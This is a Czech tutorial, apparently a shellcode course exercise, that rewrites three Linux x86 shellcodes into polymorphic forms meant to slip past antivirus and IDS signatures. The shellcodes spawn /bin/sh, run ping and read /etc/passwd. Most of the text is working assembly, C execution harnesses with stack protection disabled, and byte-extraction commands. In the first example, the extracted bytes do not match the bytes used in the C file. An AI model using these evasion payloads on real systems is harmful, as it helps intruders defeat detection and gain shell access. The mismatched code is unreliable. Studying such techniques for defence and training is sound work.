V šestém textu této 32bitové série bude demonstrováno psaní polymorfních shellcodů, budou přepsány 3 shellcody z veřejně dostupných zdrojů do jejich polymorfní verze. Polymorfní shellcode nesmí být větší jak 150 % délky originálu.
Běžné shellcody jsou fingerprintované AV a IDS, proto nejsou během penetračního testování příliš vhodné. Například „/bin/bash/“ může být pro IDS jasné varování, že se děje něco podezřelého. Problém není možné kompletně vyřešit používáním custom encoderů, protože ty jsou vždy identifikovatelné pomocí stubu a instrukcí, které obsahuje. Naštěstí existuje řešení a tím jsou polymorfní shellcody. Díky polymorfním shellcodům je možné obelstít běžné AV a IDS řešení.
Polymorfní shellcode může používat například:
- vložení instrukcí, které nemají žádnou funkci a nemění funkcionality shellcodu
- používání odlišných nebo náhodných registrů
- randomizace pořadí prováděných instrukcí
- používání přímo ESP oproti push/pop instrukcím
- nepoužívání známých hex řetězců
- používání exotičtějších instrukcí
Jako první použijeme jednoduchý execve(“/bin/sh”) shellcode s originální délkou 28 bytů. Zdroj
/*
Title: Linux x86 execve("/bin/sh") - 28 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web: http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
Nejdříve si shellcode analyzujeme (nikdy nespouštějte neznámé shellcody bez předchozí analýzy), následně jej zkompilujeme a otestujeme:
- gcc -fno-stack-protector -z execstack exec.c -o exec

Jak můžeme vidět, shellcode funguje, budou provedeny následující modifikace:
- xor reg, reg:
- sub reg, reg
- mov reg1, reg2:
- push reg2 + pop reg1
- push 0x31373737:
- add eax,0x30363636
- add eax,0x01010101
- push eax
- xor eax,eax
Finální nasm soubor:
; Filename: exec-polymorphic.nasm
; Author: SLAE-14209
global _start
section .text
_start:
;xor eax, eax
sub eax, eax
push eax
push 0x68732f2f
;push 0x6e69622f
add eax, 0x5d58511e
add eax, 0x11111111
push eax
xor eax, eax
;mov ebx, esp
push esp
pop ebx
;mov ecx, eax
push eax
pop ecx
mov edx, eax
mov al, 0xb
int 0x80
;xor eax, eax
sub eax, eax
inc eax
int 0x80
Zkompilujeme a spustíme:
- nasm -f elf32 -o exec.o exec.nasm
- ld exec.o -o exec

Extrahujeme shellcode:
- objdump -d ./exec |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x29\xc0\x50\x05\x1e\x1e\x62\x57\x05\x11\x11\x11\x11\x50\x31\xc0\x68\x2f\x62\x69\x6e\x54\x5b\x50\x59\x50\x59\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80”
Vytvoříme C soubor:
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x29\xc0\x50\x68\x2f\x2f\x73\x68\x05\x1e\x51\x58\x5d\x05\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x50\x59\x89\xc2\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
Zkompilujeme a spustíme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost je 37 bytů.
Jako druhý shellcode použijeme sys_execve(“/bin/sh/, “-c”, “ping localhost”), který má velikost 55 bytů. Zdroj
char asshole[] = "\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x73\x74\x20\x20" // push $0x20207473
"\x68\x61\x6c\x68\x6f" // push $0x6f686c61
"\x68\x20\x6c\x6f\x63" // push $0x636f6c20
"\x68\x70\x69\x6e\x67" // push $0x676e6970
"\x89\xe6" // mov %esp,%esi
"\x52" // push %edx
"\x66\x68\x2d\x63" // pushw $0x632d
"\x89\xe1" // mov %esp,%ecx
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x56" // push %esi
"\x51" // push %ecx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) asshole;
(int)(*func)();
}

Jak můžeme vidět ze screenu výše, shellcode funguje.
Polymorfní kód:
- push 0x68732f2f:
- mov ebx, 0x68732f2e
- inc ebx
- push ebx
- push 0x6e69622f:
- mov ebx, 0x6e696230
- dec ebx
- push ebx
- push word 0x632d:
- add edx, 0x521d
- add edx, 0x1110
- push edx
- xor edx, edx
Finální nasm soubor:
; Filename: ping-polymorphic.nasm
; Author: SLAE-14209
global _start
section .text
_start:
push 0xb
pop eax
cdq
push edx
push 0x74736f68 ;
push 0x6c61636f ;
push 0x6c20676e ; => "//bin/////ping localhost"
push 0x69702f2f ;
push 0x2f2f2f6e ;
push 0x69622f2f ;
mov esi, esp
push edx
;push word 0x632d ; "c-"
add dx, 0x521d
add dx, 0x1110
push dx
xor edx, edx
mov ecx, esp
push edx
;push 0x68732f2f ; "hs//"
mov ebx, 0x68732f2e
inc ebx
push ebx
;push 0x6e69622f ; "nib/"
mov ebx, 0x6e696230
dec ebx
push ebx
mov ebx, esp
push edx
push esi
push ecx
push ebx
mov ecx, esp
int 0x80
Zkompilujeme a spustíme:
- nasm -f elf32 -o ping.o ping.nasm
- ld ping.o -o ping

Extrahujeme shellcode:
- objdump -d ./ping |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x6a\x0b\x58\x99\x52\x68\x68\x6f\x73\x74\x68\x6f\x63\x61\x6c\x68\x6e\x67\x20\x6c\x68\x2f\x2f\x70\x69\x68\x6e\x2f\x2f\x2f\x68\x2f\x2f\x62\x69\x89\xe6\x52\x66\x81\xc2\x1d\x52\x66\x81\xc2\x10\x11\x66\x52\x31\xd2\x89\xe1\x52\xbb\x2e\x2f\x73\x68\x43\x53\xbb\x30\x62\x69\x6e\x4b\x53\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80”
Vytvoříme C soubor:
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x68\x6f\x73\x74\x68\x6f\x63\x61\x6c\x68\x6e\x67\x20\x6c\x68\x2f\x2f\x70\x69\x68\x6e\x2f\x2f\x2f\x68\x2f\x2f\x62\x69\x89\xe6\x52\x66\x81\xc2\x1d\x52\x66\x81\xc2\x10\x11\x66\x52\x31\xd2\x89\xe1\x52\xbb\x2e\x2f\x73\x68\x43\x53\xbb\x30\x62\x69\x6e\x4b\x53\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost přepsaného shellcodu je 79 bytů.
Jako třetí shellcode použijeme shellcode, který provádí příkaz “cat /etc/passwd” s délkou 43 bytů. Zdroj
#include <stdio.h>
const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
int main()
{
(*(void (*)()) shellcode)();
return 0;
}
/*
shellcode[]= "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64"
"\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/

Shellcode funguje, provedené změny:
- xor eax,eax:
- sub eax, eax
- push 0x7461632f:
- add ebx, 0x6350521e
- add ebx, 0x11111111
- push ebx
- xor ebx, ebx
- push 0x6e69622f
- add ebx, 0x7F7A7340
- sub ebx, 0x11111111
- push ebx
- xor ebx, ebx
- mov ebx,esp
- push esp
- pop ebx
- mov al,0xb
- mov al, 11
Finální nasm soubor:
; Filename: passwd-polymorphic.nasm
; Author: SLAE-14209
global _start
section .text
_start:
;xor eax,eax
sub eax, eax
cdq
push edx
;push 0x7461632f ; "tac/"
add eax, 0x6350521e
add eax, 0x11111111
push eax
xor eax, eax
;push 0x6e69622f ; "nib/"
add eax, 0x7F7A7340
sub eax, 0x11111111
push eax
xor eax, eax
;mov ebx,esp
push esp
pop ebx
push edx
push 0x64777373 ; "dwss"
push 0x61702f2f ; "ap//"
push 0x6374652f ; "cte/"
mov ecx, esp
;mov al,0xb
mov al, 11
push edx
push ecx
push ebx
mov ecx, esp
int 0x80
Zkompilujeme a spustíme:
- nasm -f elf32 -o passwd.o passwd.nasm
- ld passwd.o -o passwd

Extrahujeme shellcode:
- objdump -d ./passwd |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x29\xc0\x99\x52\x05\x1e\x52\x50\x63\x05\x11\x11\x11\x11\x50\x31\xc0\x05\x40\x73\x7a\x7f\x2d\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80”
Vytvoříme C soubor:
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x29\xc0\x99\x52\x05\x1e\x52\x50\x63\x05\x11\x11\x11\x11\x50\x31\xc0\x05\x40\x73\x7a\x7f\x2d\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
Zkompilujeme:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost přepsaného shellcodu je 59 bytů. Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32